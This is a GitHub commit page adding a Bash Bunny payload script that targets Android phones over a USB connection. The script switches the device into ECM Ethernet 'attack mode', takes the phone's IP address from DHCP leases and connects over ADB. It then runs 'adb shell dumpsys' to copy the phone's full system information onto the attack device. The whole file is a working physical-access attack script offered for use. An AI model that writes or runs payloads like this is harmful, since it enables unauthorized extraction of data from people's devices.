Skip to content

Commit

Permalink
adb shell dumpsys
Browse files Browse the repository at this point in the history
  • Loading branch information
D14b0l1c authored Apr 4, 2024
1 parent 92e37f9 commit c757f1d
Showing 1 changed file with 30 additions and 0 deletions.
30 changes: 30 additions & 0 deletions payloads/library/mobile/android/adb_shell_dumpsys/payload.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
# Set the Bash Bunny to ECM Ethernet attack mode
ATTACKMODE ECM_ETHERNET

# Wait for 5 seconds to ensure the network interface is ready
sleep 5

# Extract the IP address of the connected device from DHCP leases
TARGET_IP=$(cat /var/lib/dhcp/dhcpd.leases | grep ^lease | awk '{ print $2 }' | sort | uniq)

# Save the obtained IP address to a log file
cat /var/lib/dhcp/dhcpd.leases | grep ^lease | awk '{ print $2 }' | sort | uniq > /root/logs.txt

# Connect to the device using ADB over TCP/IP and save the output to a log file
adb connect ${TARGET_IP}
adb connect ${TARGET_IP} > /root/logs.txt

# Wait for 20 seconds (optional)
sleep 20

# Dump system information from the device and save it to a file
adb shell dumpsys > /root/dumpsys.txt

# Wait for 10 seconds (optional)
sleep 10

# Set the Bash Bunny back to ECM Ethernet attack mode
ATTACKMODE ECM_ETHERNET

# Indicate that the payload has finished executing
LED FINISH

0 comments on commit c757f1d

Please sign in to comment.